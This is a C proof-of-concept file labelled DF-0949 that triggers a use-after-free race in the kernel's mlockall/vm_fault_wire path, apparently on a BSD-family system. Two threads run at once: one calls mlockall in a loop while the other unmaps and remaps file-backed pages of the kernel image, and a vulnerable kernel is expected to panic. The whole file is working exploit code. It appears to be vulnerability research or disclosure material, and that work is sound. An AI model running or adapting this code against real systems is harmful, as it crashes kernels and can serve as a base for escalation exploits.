DF-0949 / mlockall_uaf_v3.c
/* * DF-0949 — sys_mlockall use-after-free PoC (v3 - file-backed + churn). * * The race window in vm_fault_wire (between vm_map_unlock at vm_fault.c:2625 * and vm_map_lock at :2648) is widened when vm_fault() has to do real * I/O to fault in non-resident pages. We create entries backed by a * file (the kernel text) and never pre-fault them, so mlockall's * vm_fault_wire has to page them in. Meanwhile a second thread hammers * vm_map_delete via munmap. */ #include <sys/types.h> #include <sys/mman.h> #include <sys/wait.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <signal.h> #define NENTRIES 32 #define MAPSIZE_MB 4 /* per entry: 4MB backing */ #define RUN_SEC 40 static size_t pg; static int g_fd = -1; static void *addrs[NENTRIES]; static volatile int stop = 0; static void *munmap_thread(void *arg) { (void)arg; size_t sz = MAPSIZE_MB * 1024 * 1024; while (!stop) { /* unmap half the entries, then re-create them file-backed but * UN-faulted (no memset), so mlockall's vm_fault_wire must page-in */ for (int i = 0; i < NENTRIES; i += 2) { if (addrs[i]) munmap(addrs[i], sz); addrs[i] = NULL; } for (int i = 0; i < NENTRIES; i += 2) { addrs[i] = mmap(NULL, sz, PROT_READ|PROT_WRITE, MAP_PRIVATE, g_fd, 0); /* intentionally no memset -- pages not resident */ } } return NULL; } static void *mlockall_thread(void *arg) { (void)arg; while (!stop) { if (mlockall(MCL_CURRENT) < 0) { /* under heavy churn mlockall can fail; just retry */ } } return NULL; } int main(void) { if (getuid() != 0) { fprintf(stderr, "[!] DF-0949 requires root (mlockall is SYSCAP_RESTRICTEDROOT)\n"); return 2; } pg = sysconf(_SC_PAGESIZE); /* Open a large file to back the mappings */ g_fd = open("/boot/kernel/kernel", O_RDONLY); if (g_fd < 0) { perror("open /boot/kernel/kernel"); return 2; } size_t sz = MAPSIZE_MB * 1024 * 1024; printf("[*] DF-0949 mlockall UAF race (v3 - file-backed)\n"); printf("[*] %d entries x %zuMB, run %ds\n", NENTRIES, sz/(1024*1024), RUN_SEC); /* Pre-populate */ for (int i = 0; i < NENTRIES; i++) { addrs[i] = mmap(NULL, sz, PROT_READ|PROT_WRITE, MAP_PRIVATE, g_fd, 0); if (addrs[i] == MAP_FAILED) { perror("mmap init"); return 2; } } pthread_t t_mlock, t_unmap; pthread_create(&t_mlock, NULL, mlockall_thread, NULL); pthread_create(&t_unmap, NULL, munmap_thread, NULL); printf("[*] racing for %d seconds (panic expected on vulnerable kernel)...\n", RUN_SEC); sleep(RUN_SEC); stop = 1; pthread_join(t_mlock, NULL); pthread_join(t_unmap, NULL); printf("[+] no panic observed in this run\n"); return 0; } |